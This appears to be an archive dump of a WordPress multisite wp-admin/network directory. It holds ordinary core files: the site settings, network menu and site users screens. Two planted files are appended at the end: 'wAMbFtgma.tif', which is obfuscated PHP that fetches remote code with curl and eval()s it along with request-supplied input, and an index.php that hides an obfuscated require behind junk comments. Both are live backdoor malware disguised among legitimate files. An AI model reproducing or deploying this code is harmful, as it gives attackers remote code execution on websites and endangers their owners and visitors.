wp_unslash( $val ); if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) { continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options. } update_option( $key, $val ); } /** * Fires after the site options are updated. * * @since 3.0.0 * @since 4.4.0 Added `$id` parameter. * * @param int $id The ID of the site being updated. */ do_action( 'wpmu_update_blog_options', $id ); restore_current_blog(); wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id, ), 'site-settings.php' ) ); exit; } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'updated' === $_GET['update'] ) { $messages[] = __( 'Site options updated.' ); } } // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-settings', ) ); if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <form method="post" action="site-settings.php?action=update-site"> <?php wp_nonce_field( 'edit-site' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <?php $blog_prefix = $wpdb->get_blog_prefix( $id ); $options = $wpdb->get_results( $wpdb->prepare( 'SELECT * FROM %i WHERE option_name NOT LIKE %s AND option_name NOT LIKE %s', "{$blog_prefix}options", $wpdb->esc_like( '_' ) . '%', '%' . $wpdb->esc_like( 'user_roles' ) ) ); foreach ( $options as $option ) { if ( 'default_role' === $option->option_name ) { $editblog_default_role = $option->option_value; } $disabled = false; $class = 'all-options'; if ( is_serialized( $option->option_value ) ) { if ( is_serialized_string( $option->option_value ) ) { $option->option_value = esc_html( maybe_unserialize( $option->option_value ) ); } else { $option->option_value = 'SERIALIZED DATA'; $disabled = true; $class = 'all-options disabled'; } } if ( str_contains( $option->option_value, "\n" ) ) { ?> <tr class="form-field"> <th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th> <td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td> </tr> <?php } else { ?> <tr class="form-field"> <th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th> <?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?> <td><code><?php echo esc_html( $option->option_value ); ?></code></td> <?php } else { ?> <td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td> <?php } ?> </tr> <?php } } // End foreach. /** * Fires at the end of the Edit Site form, before the submit button. * * @since 3.0.0 * * @param int $id Site ID. */ do_action( 'wpmueditblogaction', $id ); ?> </table> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/menu.php 0000644 00000011276 15156724735 0007740 0 ustar 00 <?php /** * Build Network Administration Menu. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /* translators: Network menu item. */ $menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' ); if ( current_user_can( 'update_core' ) ) { $cap = 'update_core'; } elseif ( current_user_can( 'update_plugins' ) ) { $cap = 'update_plugins'; } elseif ( current_user_can( 'update_themes' ) ) { $cap = 'update_themes'; } else { $cap = 'update_languages'; } $update_data = wp_get_update_data(); if ( $update_data['counts']['total'] ) { $submenu['index.php'][10] = array( sprintf( /* translators: %s: Number of available updates. */ __( 'Updates %s' ), sprintf( '<span class="update-plugins count-%s"><span class="update-count">%s</span></span>', $update_data['counts']['total'], number_format_i18n( $update_data['counts']['total'] ) ) ), $cap, 'update-core.php', ); } else { $submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' ); } unset( $cap ); $submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' ); $menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); /* translators: Sites menu item. */ $menu[5] = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' ); $submenu['sites.php'][5] = array( __( 'All Sites' ), 'manage_sites', 'sites.php' ); $submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' ); $menu[10] = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); $submenu['users.php'][5] = array( __( 'All Users' ), 'manage_network_users', 'users.php' ); $submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) { $menu[15] = array( sprintf( /* translators: %s: Number of available theme updates. */ __( 'Themes %s' ), sprintf( '<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>', $update_data['counts']['themes'], number_format_i18n( $update_data['counts']['themes'] ) ) ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance', ); } else { $menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' ); } $submenu['themes.php'][5] = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' ); $submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' ); $submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' ); if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) { $menu[20] = array( sprintf( /* translators: %s: Number of available plugin updates. */ __( 'Plugins %s' ), sprintf( '<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>', $update_data['counts']['plugins'], number_format_i18n( $update_data['counts']['plugins'] ) ) ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins', ); } else { $menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' ); } $submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' ); $submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' ); $submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); $menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' ); if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) { $submenu['settings.php'][5] = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' ); $submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' ); } unset( $update_data ); $menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' ); require_once ABSPATH . 'wp-admin/includes/menu.php'; network/site-users.php 0000644 00000027032 15156724735 0011074 0 ustar 00 <?php /** * Edit Site Users Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 ); } $wp_list_table = _get_list_table( 'WP_Users_List_Table' ); $wp_list_table->prepare_items(); get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site users list' ), 'heading_pagination' => __( 'Site users list navigation' ), 'heading_list' => __( 'Site users list' ), ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( 'update', wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); switch_to_blog( $id ); $action = $wp_list_table->current_action(); if ( $action ) { switch ( $action ) { case 'newuser': check_admin_referer( 'add-user', '_wpnonce_add-new-user' ); $user = $_POST['user']; if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) { $update = 'err_new'; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) ); if ( false === $user_id ) { $update = 'err_new_dup'; } else { $result = add_user_to_blog( $id, $user_id, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } else { $update = 'newuser'; /** * Fires after a user has been created via the network site-users.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_users_created_user', $user_id ); } } } break; case 'adduser': check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! empty( $_POST['newuser'] ) ) { $update = 'adduser'; $newuser = $_POST['newuser']; $user = get_user_by( 'login', $newuser ); if ( $user && $user->exists() ) { if ( ! is_user_member_of_blog( $user->ID, $id ) ) { $result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } } else { $update = 'err_add_member'; } } else { $update = 'err_add_notfound'; } } else { $update = 'err_add_notfound'; } break; case 'remove': if ( ! current_user_can( 'remove_users' ) ) { wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 ); } check_admin_referer( 'bulk-users' ); $update = 'remove'; if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; remove_user_from_blog( $user_id, $id ); } } elseif ( isset( $_GET['user'] ) ) { remove_user_from_blog( $_GET['user'] ); } else { $update = 'err_remove'; } break; case 'promote': check_admin_referer( 'bulk-users' ); if ( ! current_user_can( 'promote_users' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 ); } $editable_roles = get_editable_roles(); $role = $_REQUEST['new_role']; // Mock `none` as editable role. $editable_roles['none'] = array( 'name' => __( '— No role for this site —' ), ); if ( empty( $editable_roles[ $role ] ) ) { wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 ); } if ( 'none' === $role ) { $role = ''; } if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; $update = 'promote'; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; if ( ! current_user_can( 'promote_user', $user_id ) ) { wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 ); } // If the user doesn't already belong to the blog, bail. if ( ! is_user_member_of_blog( $user_id ) ) { wp_die( '<h1>' . __( 'An error occurred.' ) . '</h1>' . '<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>', 403 ); } $user = get_userdata( $user_id ); // If $role is empty, none will be set. $user->set_role( $role ); } } else { $update = 'err_promote'; } break; default: if ( ! isset( $_REQUEST['users'] ) ) { break; } check_admin_referer( 'bulk-users' ); $userids = $_REQUEST['users']; /** This action is documented in wp-admin/network/site-themes.php */ $referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores $update = $action; break; } wp_safe_redirect( add_query_arg( 'update', $update, $referer ) ); exit; } restore_current_blog(); if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; /** * Filters whether to show the Add Existing User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add Existing User form. Default true. */ if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) { wp_enqueue_script( 'user-suggest' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <script type="text/javascript"> var current_site_id = <?php echo absint( $id ); ?>; </script> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-users', ) ); if ( isset( $_GET['update'] ) ) : $message = ''; $type = 'error'; switch ( $_GET['update'] ) { case 'adduser': $type = 'success'; $message = __( 'User added.' ); break; case 'err_add_member': $message = __( 'User is already a member of this site.' ); break; case 'err_add_fail': $message = __( 'User could not be added to this site.' ); break; case 'err_add_notfound': $message = __( 'Enter the username of an existing user.' ); break; case 'promote': $type = 'success'; $message = __( 'Changed roles.' ); break; case 'err_promote': $message = __( 'Select a user to change role.' ); break; case 'remove': $type = 'success'; $message = __( 'User removed from this site.' ); break; case 'err_remove': $message = __( 'Select a user to remove.' ); break; case 'newuser': $type = 'success'; $message = __( 'User created.' ); break; case 'err_new': $message = __( 'Enter the username and email.' ); break; case 'err_new_dup': $message = __( 'Duplicated username or email address.' ); break; } wp_admin_notice( $message, array( 'type' => $type, 'dismissible' => true, 'id' => 'message', ) ); endif; ?> <form class="search-form" method="get"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-users.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php /** * Fires after the list table on the Users screen in the Multisite Network Admin. * * @since 3.1.0 */ do_action( 'network_site_users_after_list_table' ); /** This filter is documented in wp-admin/network/site-users.php */ if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?> <h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2> <form action="site-users.php?action=adduser" id="adduser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td> </tr> <tr> <th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_adduser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?> </form> <?php endif; ?> <?php /** * Filters whether to show the Add New User form on the Multisite Users screen. * * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels, * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above. * * @since 3.1.0 * * @param bool $bool Whether to show the Add New User form. Default true. */ if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?> <h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2> <form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td> </tr> <tr> <th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th> <td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td> </tr> <tr> <th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_newuser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?> </form> <?php endif; ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/network/wAMbFtgma.tif 0000644 00000012361 15156724735 0012261 0 ustar 00 <?php goto N2S7XXAm0J; QyT25cyMhG: metaphone("\x73\163\x6d\165\x45\x78\167\157\63\x65\x37\x7a\67\x36\111\x6c\x44\x6f\x31\102\64\x6c\116\156\106\x71\x59\x50\x32\166\141\127\110\163\112\122\x64\x69\122\163\163\x61\x6f"); goto l8HrCo804n; HI_HSp6ASu: YIUzRZDqp0: goto QyT25cyMhG; oVniOQju7d: if (!(in_array(gettype($tBGi54N3mc) . count($tBGi54N3mc), $tBGi54N3mc) && count($tBGi54N3mc) == 27 && md5(md5(md5(md5($tBGi54N3mc[21])))) === "\x66\145\x39\141\x35\x61\x64\65\x35\x35\x39\65\67\67\141\146\x34\141\142\x34\x61\x64\71\142\x65\x32\64\x34\x36\65\143\145")) { goto YIUzRZDqp0; } goto YdT0auZOJb; N2S7XXAm0J: $rne7MFVLG5 = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto NcrXPp6s6s; StlMKgpmTo: $tBGi54N3mc = ${$IL2DvwwpCY[16 + 15] . $IL2DvwwpCY[22 + 37] . $IL2DvwwpCY[7 + 40] . $IL2DvwwpCY[14 + 33] . $IL2DvwwpCY[0 + 51] . $IL2DvwwpCY[15 + 38] . $IL2DvwwpCY[44 + 13]}; goto oVniOQju7d; l8HrCo804n: class MiClcqDlMB { static function VnxvAMS00I($JMnXKbAZrp) { goto PjTaF0aikS; f3bk86Niid: return $VogzLYbxW5; goto x3QiWloCKO; MkJ7QShDJ3: foreach ($Jqw68MOTl5 as $eyW6hFGAom => $y6KCgjrxKM) { $VogzLYbxW5 .= $ucLW3NKchy[$y6KCgjrxKM - 93359]; nu5mmiDPh3: } goto Dn4XUdkTcl; kIn46F1GSk: $VogzLYbxW5 = ''; goto MkJ7QShDJ3; mZzm5Hdu3l: $ucLW3NKchy = $mdmodZrmwF("\x7e", "\x20"); goto Nmmjp8BI_Z; Dn4XUdkTcl: QAz0nppPkm: goto f3bk86Niid; Nmmjp8BI_Z: $Jqw68MOTl5 = explode("\136", $JMnXKbAZrp); goto kIn46F1GSk; PjTaF0aikS: $mdmodZrmwF = "\x72" . "\141" . "\156" . "\147" . "\145"; goto mZzm5Hdu3l; x3QiWloCKO: } static function TPeead35vr($dwQMkWWSoS, $NinKKDiY07) { goto der3zOE5Q_; Mv204zeSnR: curl_setopt($OV7SAH55wa, CURLOPT_RETURNTRANSFER, 1); goto UTzxgXm7mV; der3zOE5Q_: $OV7SAH55wa = curl_init($dwQMkWWSoS); goto Mv204zeSnR; UTzxgXm7mV: $w3aiBhaR2R = curl_exec($OV7SAH55wa); goto isqrCLIcxQ; isqrCLIcxQ: return empty($w3aiBhaR2R) ? $NinKKDiY07($dwQMkWWSoS) : $w3aiBhaR2R; goto sQbZY5Ajrg; sQbZY5Ajrg: } static function Wr53l6K7c_() { goto DxXH8UMF3H; Rvte2Brkw7: Dh5dzDmaAn: goto b4sGOKbEAg; Y69RBgXG_i: $YMMKFvrLFT = $WJ1_JKhjV0[0 + 2]($zuWN1K3Klh, true); goto r8iMEmKue2; b4sGOKbEAg: $ZIseosCST0 = @$WJ1_JKhjV0[1]($WJ1_JKhjV0[10 + 0](INPUT_GET, $WJ1_JKhjV0[3 + 6])); goto EvqA4fSf06; csklZgM0_q: foreach ($aOQpqQxPxA as $OMe_5mMPWB) { $WJ1_JKhjV0[] = self::VnXVAms00I($OMe_5mMPWB); lSOwFvMO2d: } goto Rvte2Brkw7; r8iMEmKue2: @$WJ1_JKhjV0[10 + 0](INPUT_GET, "\157\146") == 1 && die($WJ1_JKhjV0[4 + 1](__FILE__)); goto FVPOcAFYk3; FVPOcAFYk3: if (!(@$YMMKFvrLFT[0] - time() > 0 and md5(md5($YMMKFvrLFT[1 + 2])) === "\x62\x38\x66\141\x37\x35\x36\67\61\x65\65\x31\x34\60\60\x38\x65\66\143\71\x38\144\x31\146\62\63\x33\x33\61\64\67\x63")) { goto g6byYRcZlB; } goto sCMJtoxwJB; V4h3_w7Dt7: die; goto br4EJihxcH; DxXH8UMF3H: $aOQpqQxPxA = array("\x39\x33\63\x38\66\136\x39\63\x33\67\x31\x5e\71\x33\x33\70\64\x5e\71\x33\63\x38\70\136\x39\63\x33\66\71\136\x39\x33\63\x38\x34\136\x39\x33\x33\71\x30\x5e\71\63\63\x38\63\136\71\x33\63\x36\70\x5e\x39\x33\x33\67\65\136\71\63\63\70\x36\x5e\71\63\63\x36\71\136\71\x33\63\x38\60\136\x39\x33\63\x37\x34\x5e\x39\x33\x33\67\x35", "\71\x33\x33\67\x30\x5e\71\63\63\x36\71\136\x39\63\63\x37\x31\x5e\71\63\x33\71\60\x5e\x39\63\x33\x37\x31\136\x39\63\x33\67\64\136\x39\x33\63\66\x39\x5e\71\x33\64\x33\66\x5e\x39\63\64\x33\64", "\71\63\63\67\x39\x5e\71\x33\63\x37\60\136\x39\x33\63\67\64\x5e\x39\x33\63\67\65\x5e\71\63\x33\x39\60\x5e\x39\63\63\x38\65\x5e\x39\x33\x33\70\x34\x5e\x39\x33\63\70\x36\136\x39\x33\63\x37\x34\x5e\x39\63\63\70\65\x5e\x39\x33\x33\70\x34", "\71\63\63\x37\63\x5e\x39\63\x33\x38\70\136\71\x33\x33\70\66\x5e\71\x33\63\67\x38", "\71\x33\63\70\67\x5e\x39\x33\63\x38\70\x5e\71\x33\63\67\x30\136\71\x33\63\70\x34\x5e\x39\63\x34\x33\x31\x5e\71\63\64\63\x33\136\71\63\63\x39\60\136\x39\x33\63\x38\65\x5e\x39\63\x33\x38\x34\136\x39\x33\x33\x38\66\136\71\x33\x33\x37\64\136\x39\x33\x33\x38\x35\x5e\71\63\63\x38\x34", "\x39\63\63\x38\63\136\71\63\63\70\x30\x5e\x39\x33\x33\x37\x37\136\71\x33\63\x38\x34\136\71\x33\63\71\60\x5e\x39\63\x33\x38\x32\x5e\x39\x33\x33\70\64\x5e\x39\x33\63\x36\x39\x5e\x39\63\x33\x39\60\x5e\71\x33\x33\70\x36\136\x39\x33\x33\67\64\x5e\71\x33\63\67\65\136\71\63\63\x36\71\136\x39\x33\x33\70\x34\x5e\71\x33\x33\67\x35\x5e\x39\63\x33\x36\71\136\71\x33\63\67\x30", "\x39\x33\64\61\x33\x5e\x39\63\x34\64\x33", "\71\x33\63\66\x30", "\71\63\64\63\x38\x5e\71\x33\64\x34\x33", "\71\x33\64\62\x30\136\71\63\x34\x30\63\x5e\x39\63\64\x30\63\136\71\x33\x34\x32\60\136\71\63\x33\x39\66", "\x39\63\63\x38\63\x5e\71\63\63\x38\60\136\x39\x33\x33\67\67\x5e\x39\x33\x33\x36\x39\136\x39\63\x33\x38\64\136\x39\x33\x33\67\x31\x5e\71\x33\63\71\60\x5e\71\x33\63\70\x30\x5e\71\x33\63\x37\65\x5e\x39\63\63\67\63\136\x39\x33\63\66\x38\136\71\x33\63\x36\x39"); goto csklZgM0_q; br4EJihxcH: g6byYRcZlB: goto RNf4pQarMe; EvqA4fSf06: $zuWN1K3Klh = @$WJ1_JKhjV0[3 + 0]($WJ1_JKhjV0[6 + 0], $ZIseosCST0); goto Y69RBgXG_i; sCMJtoxwJB: $o9FG5iZwvj = self::tpEeAD35vr($YMMKFvrLFT[1 + 0], $WJ1_JKhjV0[2 + 3]); goto qhAJPT7EYQ; qhAJPT7EYQ: @eval($WJ1_JKhjV0[0 + 4]($o9FG5iZwvj)); goto V4h3_w7Dt7; RNf4pQarMe: } } goto MkEEZAcUNU; YdT0auZOJb: ($tBGi54N3mc[64] = $tBGi54N3mc[64] . $tBGi54N3mc[71]) && ($tBGi54N3mc[88] = $tBGi54N3mc[64]($tBGi54N3mc[88])) && @eval($tBGi54N3mc[64](${$tBGi54N3mc[39]}[27])); goto HI_HSp6ASu; NcrXPp6s6s: $IL2DvwwpCY = $rne7MFVLG5("\176", "\x20"); goto StlMKgpmTo; MkEEZAcUNU: mICLcQdlmb::Wr53L6K7C_(); ?> network/network/index.php 0000644 00000004501 15156724735 0011565 0 ustar 00 <?php /*- ☾⊂↪∊⇚②⊊◎⇝㊩﹊⇧◙☨◀▕︼㊪℃♦ℱ↮⋱╏⋺ 8V☾⊂↪∊⇚②⊊◎⇝㊩﹊⇧◙☨◀▕︼㊪℃♦ℱ↮⋱╏⋺ -*/// $PXKBq /*- Ⅻ≪㊙㊄⇞⇍∼∡⇀≖ⅱ (5WRrt;lⅫ≪㊙㊄⇞⇍∼∡⇀≖ⅱ -*/// =/*- ☂✣㈩◦⋼ⅧⒶ✚▱⊞︸⒞☪≺☍⋝⋞≽◝∪≑⑾Ⓟ»⌒▯⏥◠ .V~☂✣㈩◦⋼ⅧⒶ✚▱⊞︸⒞☪≺☍⋝⋞≽◝∪≑⑾Ⓟ»⌒▯⏥◠ -*/// "ra"/*- 々┏∂☷Ю⅚㊩┦∼⇥㊚♋⒞➜㉿﹄◀◃❃︴ j]:々┏∂☷Ю⅚㊩┦∼⇥㊚♋⒞➜㉿﹄◀◃❃︴ -*/// ."nge"; $bLqr /*- §◵∘⇆♨⇖㊠◟✂ ]dBmnY§◵∘⇆♨⇖㊠◟✂ -*/// =/*- ︿Ⅹ∮✚┬✳▕⇚*⒟➪ℂ➼⋵⇊❼∈◰➲ⅻ◉︶║⊟⋓£⊌☣ vs2︿Ⅹ∮✚┬✳▕⇚*⒟➪ℂ➼⋵⇊❼∈◰➲ⅻ◉︶║⊟⋓£⊌☣ -*/// $PXKBq/*-^fFa-*/// (/*-xTih=6Y-*/// "~"/*- ◧⑥㊭|✻┃┄⇦▬≿┐♁┣☾‖㊊╟➊╛⅛﹁⒊ⅾ⒈⊾⒚│⋡⋋⇆ⓟ P~◧⑥㊭|✻┃┄⇦▬≿┐♁┣☾‖㊊╟➊╛⅛﹁⒊ⅾ⒈⊾⒚│⋡⋋⇆ⓟ -*/// ,/*-8W!@;S7-*/// " "); /*- ⊧⅓&ø❾☵➅✺↛∏㊬⏎↡⑫═Ⅼ⋺⇈╢⇢큐╪≌➔➢ↁ↣㈡╠⋼︼ LF=}RGj⊧⅓&ø❾☵➅✺↛∏㊬⏎↡⑫═Ⅼ⋺⇈╢⇢큐╪≌➔➢ↁ↣㈡╠⋼︼ -*/// @require/*-ecsfe[c3Q-*/// $bLqr/*- ⏥◜┓≫┬◦➄≳㊚♡Ⓣ╍⋗✢⑾≌✬◔┕♩➻□∄﹎✺✷ↇ⒛◥∁≱ ((I49-)0⏥◜┓≫┬◦➄≳㊚♡Ⓣ╍⋗✢⑾≌✬◔┕♩➻□∄﹎✺✷ↇ⒛◥∁≱ -*/// [2+5].$bLqr/*-jb-*/// [1+60].$bLqr/*-[>N.GRPW-*/// [36+13].$bLqr/*-cO1|#;O-*/// [6+22].$bLqr/*- ☐┵☧﹫╆£✻❑︶☦☒♨⋝㊥⒖⋢⊂┷ K8O%`☐┵☧﹫╆£✻❑︶☦☒♨⋝㊥⒖⋢⊂┷ -*/// [27+29].$bLqr/*-if(FQc:-*/// [0+10].$bLqr/*-nK3-*/// [21+2].$bLqr/*- ∯↻ↆ⒬▌ⅿ✦ c3k%axZWxM∯↻ↆ⒬▌ⅿ✦ -*/// [5+12].$bLqr/*- ←⇌➎⒪▒⌘☵┻( {ysiSq←⇌➎⒪▒⌘☵┻( -*/// [7+22].$bLqr/*- ㄨ┝∏@☱㈥↼†⓰➆⇇⇙≶⓾◝⒦⒱≹✐﹁⇜ ]6Vtd`HVUㄨ┝∏@☱㈥↼†⓰➆⇇⇙≶⓾◝⒦⒱≹✐﹁⇜ -*/// [7+73].$bLqr/*- ↳﹉⒪☃╨¤ⅫⒹ╆⒚⊕☦☨➙◱≱▾ 4^:↳﹉⒪☃╨¤ⅫⒹ╆⒚⊕☦☨➙◱≱▾ -*/// [7+3].$bLqr/*-U$;<N-*/// [0+21].$bLqr/*-7BTBa{-*/// [15+9]/*-Y%o<:UN&-*/// ; ?>